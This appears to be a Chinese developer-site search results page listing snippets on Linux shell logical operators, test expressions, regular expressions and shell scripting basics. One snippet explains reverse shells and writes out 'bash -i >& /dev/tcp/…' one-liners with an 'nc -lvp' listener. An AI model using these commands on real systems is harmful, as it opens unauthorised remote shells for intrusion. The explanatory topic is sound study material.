首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux shell 逻辑运算符、逻辑表达式详解

shell的逻辑运算符 涉及有以下几种类型,因此只要适当选择,可以解决我们很多复杂的判断,达到事半功倍效果。 一、逻辑运算符 1、逻辑卷标表示意思 1)关于档案与目录的侦测逻辑卷标 -f 常用!...不等于 应用于:整型比较 -lt 小于 应用于:整型比较 -gt 大于 应用于:整型比较 -le 小于或等于 应用于:整型比较 -ge 大于或等于 应用于:整型比较 -a 双方都成立(and) 逻辑表达式...–a 逻辑表达式 -o 单方成立(or) 逻辑表达式 –o 逻辑表达式 -z 空字符串 -n 非空字符串 二、逻辑表达式 1、test 命令 使用方法:test EXPRESSION 如: [root...2、精简表达式 [] 表达式 [root@localhost ~]# [ 1 -eq 1 ] && echo ‘ok’ ok [root@localhost ~]# [ 2 < 1 ] && echo...里面支持逻辑运算符:|| && 3、性能比较 bash的条件表达式中有三个几乎等效的符号和命令:test,[]和[[]]。通常,大家习惯用if [];then这样的形式。

1.7K40

Linux shell 逻辑运算符、逻辑表达式详解

shell的逻辑运算符 涉及有以下几种类型,因此只要适当选择,可以解决我们很多复杂的判断,达到事半功倍效果。 一、逻辑运算符 1、逻辑卷标表示意思 1)关于档案与目录的侦测逻辑卷标 -f 常用!...–a 逻辑表达式 -o  单方成立(or) 逻辑表达式 –o 逻辑表达式 -z  空字符串 -n  非空字符串 二、逻辑表达式 1、test 命令 使用方法:test EXPRESSION 如: [root...2、精简表达式 [] 表达式 [root@localhost ~]# [ 1 -eq 1 ] && echo 'ok' ok [root@localhost ~]# [ 2 < 1 ] && echo...里面支持逻辑运算符:|| && 3、性能比较 bash的条件表达式中有三个几乎等效的符号和命令:test,[]和[[]]。通常,大家习惯用if [];then这样的形式。...你想更深入了解学习Linux知识体系,你可以看一下我们花费了一个多月整理了上百小时的几百个知识点体系内容: 【超全整理】《Linux云计算从入门到精通》系列实战笔记全放送

1.3K00
您找到你想要的搜索结果了吗?
是的
没有找到

Linux shell 逻辑运算符、逻辑表达式详解

转自 | talkwithtrend 作者 | db2haodb shell的逻辑运算符 涉及有以下几种类型,因此只要适当选择,可以解决我们很多复杂的判断,达到事半功倍效果。...不等于 应用于:整型比较 -lt 小于 应用于:整型比较 -gt 大于 应用于:整型比较 -le 小于或等于 应用于:整型比较 -ge 大于或等于 应用于:整型比较 -a 双方都成立(and) 逻辑表达式...–a 逻辑表达式 -o 单方成立(or) 逻辑表达式 –o 逻辑表达式 -z 空字符串 -n 非空字符串 二、逻辑表达式 1、test 命令 使用方法:test EXPRESSION 如: [root...2、精简表达式 [] 表达式 [root@localhost ~]# [ 1 -eq 1 ] && echo 'ok' ok [root@localhost ~]# [ 2 < 1 ] && echo...里面支持逻辑运算符:|| && 3、性能比较 bash的条件表达式中有三个几乎等效的符号和命令:test,[]和[[]]。通常,大家习惯用if [];then这样的形式。

72800

Linux_Shell 脚本编程学习笔记一、条件表达式

条件表达式返回的结果都为布尔型   真为1,假为0 条件测试的表达式   [expression] ?...if test (表达式为真)   if test !...表达式为假   test 表达式1 –a 表达式2 两个表达式都为真   test 表达式1 –o 表达式2 两个表达式有一个为真...||:逻辑或,一个为真则为真   当第一个条件为真的时候,不在去判断第二条件,因为第一个表达式已经决定了整个表达式为真   只有当第一个表达式为假的时候才回去判断第二个表达式 操作实例:   创建两个文件...如果执行shell脚本时,后面跟着的参数的值 为 3 才能输出3个1,其他则不输出 ?   在修改脚本,将&& 连接符号改成 || ?

94750

Linux——shell

什么是shellshell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器) 。它接收用户输入的命令并把它送入内核去执行。起着用户与系统之间进行交互的作用。 ?...shell的功能: 命令行解释 命令的多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换(` ` 或$( ) ) shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为: 内部(内置)命令 内部命令是shell本身包含的一些命令,这些内部命令的代码是整个shell代码的一个组成部分; 内部命令的执行是shell通过执行自己的代码中的相应部分来完成的...外部(外置)命令 外部命令的代码则存放在一些二进制的可执行文件或者shell脚本中; 外部命令执行时,shell会在文件系统中指定的一些目录去搜索相应的文件,然后调入内存执行。...shell变量PATH中 ?

10.7K30

shell 正则表达式

正则表达式的分类 基本正则表达式(Basic Regular Expression 又叫 Basic RegEx 简称 BREs) 扩展正则表达式(Extended Regular Expression...又叫 Extended RegEx 简称 EREs) Perl正则表达式(Perl Regular Expression 又叫 Perl RegEx 简称 PREs) [www] grep,egrep...正则表达式 grep支持BREs,EREs,PREs grep后面不跟任何参数,则表示使用BREs grep后面跟-E参数,则表示使用EREs grep后面跟-P参数,则表示使用PREs egrep支持...的作用 awk处理文本文件 按列进行操作 三种不同类型表达式的比较 当使用 BERs(基本正则表达式)时,必须在下列这些符号前加上转义字符('\'),屏蔽掉它们的 speical meaning “?...,+,|,{,},(,)” 这些字符,需要加入转义符号”\” 修饰符用在正则表达式结尾,例如:/dog/i,其中 “ i “ 就是修饰符,它代表的含义就是:匹配时不区分大小写,那么修饰符有哪些呢?

1.5K00

Shell 正则表达式

什么是正则表达式 正则表达式是用于描述字符排列和匹配模式的一种语法规则。 它主要用于字符串的模式分割、匹配、查找以及替换操作。.... ---- 正则表达式的分类 1.基本的正则表达式(Basic Regular Expression 又叫Basic RegEx 简称BREs) 2.扩展的正则表达式(Extended Regular...-- 基本组成部分 正则表达式的基本组成部分。...正则表达式与通配符 正则表达式 正则表达式用来在文件中匹配符合条件的字符串,正则是包含匹配。grep,awk,sed等命令可以支持正则表达式。 通配符用来匹配符号条件的文件名,通配符是完全匹配。...ls,find,cp这些命令不支持正则表达式,所以只能使用shell自己的通配符来进行匹配。 通配符 * 代表匹配任意内容 ? 代表匹配任意一个内容 [] 代表中括号中一个字符 ?

1.1K20

linux shell编程

什么是shell  shell扮演者操作系统内核和用户的中间人的角色,用户通过键入shell command,然后shell通过解析用户输入,然后将请求转发给操作系统的内核进行处理。 1....还是hello world程序  首先使用vim编辑器(或者是linux下任意的文本编辑器)编写文件helloshell.sh(没有必要使用.sh后缀名):  #!.../bin/sh                                osch=0 echo "1. unix(sun os)" echo "2. linux(red hat)" echo ...        #         # nested if         if [ $osch -eq 2 ]         then                 echo "you pick up linux..."         else                 echo "what you donot like unix/linux"         fi fi #!

12K30

Linux反弹shell

2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell...的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp 2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容...,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式shell了 &:标准错误输出重定向输出 0>&1:简单一点理解就是将我们在攻击机输入的命令当成靶机输入...,然后靶机返回内容时又重定向攻击机,也就是交互界面,打开了一个shell窗口,随意可以在攻击机执行命令,然后在攻击机输出结果,这么一个意思 0:标准输入 1:标准输出 2:标准错误输出 &:是为了区分标准输出和文件描述符...2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹shell

10.4K00

04·Shell编程-条件表达式

条件表达式 条件测试语句 文件表达式 优化计算器 字符串表达式 整数表达式 [[]]的成员运算 逻辑运算表达式 逻辑运算表达式介绍 and条件 or条件 Shell...5)堡垒机,连接Linux、Windows平台及日志审计。 6)SQL执行及审批流程。 7)慢查询日志分析web界面。...---- 条件表达式 条件表达式介绍 条件表达式,我们非常的常用,可以说,任何编程语言,都离不开条件表达式,但是每种变成语言的写法都不太一样,在shell中,有一种独特的写法。...2 [root@zabbix01 script]# sh cal.sh 10 20 30 -10 200 0.5 字符串表达式 字符串表达式介绍 注意:大写的注意,在shell脚本中所有变量的调用,请一定加上双引号...逻辑符号 条件1 条件2 结果 -o 真 真 真 真 假 真 假 真 真 假 假 假 Shell 练习 企业面试题1 命令行中输入一个数字,如果数字是1,则输出1,如果是2则输出2,既不是1也不是

31310

Linux 学习_shell

Linux提供了像MicrosoftWindows那样的可视的命令输入界面--X Window的图形用户界面(GUI)。...每个Linux系统的用户可以拥有他自己的用户界面或Shell,用以满足他们自己专门的Shell需要。   同Linux本身一样,Shell也有多种不同的版本。...Korn Shell:是对Bourne SHell的发展,在大部分内容上与Bourne Shell兼容。   C Shell:是SUN公司Shell的BSD版本。   ...如下图:系统中的三种shell ================================================================ 在Linux系统中,我们要查看我们当前是使用哪种...shell,我们可以这样做:   env | more 如图: 我们也可以修改当前的shell: chsh -s 新的shell 系统中的shell如下图: 新的shell可以是:   /bin/

7.6K20

linuxshell

当然shell也是linux的解释器,本篇我们先来了解下这个解释器。 shell解释器 shell也叫壳,区别与操作系统内核。比如一个不同国家的人交流需要一个翻译官,那么shell就是这个翻译官。...shell是负责用户,负责接受用户的指令,解释并运行,将需要执行的操作给操作内核。 shell的常见种类 sh 由 Bourne shell 开发,为了纪念大佬,就用了他的名字命名了。...sh也是第一个流行的shell。 csh C shell 语法和C语言比较类似。 ksh 集合了 csh 和 sh 的优点,并且和sh兼容。...bash 与sh完全兼容,sh的的扩展版本,在sh上增加了新特性,补全命令,命令编辑器和历史命令等功能也是linux默认的shell。...linux默认的shell解释器 linux 默认的 shell 解释器是bash,在/bin目录下。

8.3K50

Linux Shell编程

# Linux Shell编程 # 为什么要学习Shell编程 Linux运维工程师在进行服务器集群管理时,需要编写Shell程序来进行服务器管理。...对于大数据程序员来说,需要编写Shell程序来管理集群 # Shell是什么 Shell是一个命令行解释器,它为用户提供了一个向Linux内核发送请求以便运行程序的界面系统级程序,用户可以用Shell来启动.../bin/bash开头 脚本需要有可执行权限 # 编写第一个Shell脚本 需求说明:创建一个Shell脚本,输出hello world! vim hello.sh #!...的变量 # Shell变量介绍 Linux Shell中的变量分为,系统变量和用户自定义变量。...# 运算符 # 基本介绍 学习如何在shell中进行各种运算操作 # 基本语法 “运算式或[运算式]"或者expr m+ n //expression表达式 注意expr运算符间要有空格,如果希望将expr

36.3K20

扫码

添加站长 进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

    运营活动

    活动名称
    广告关闭
    领券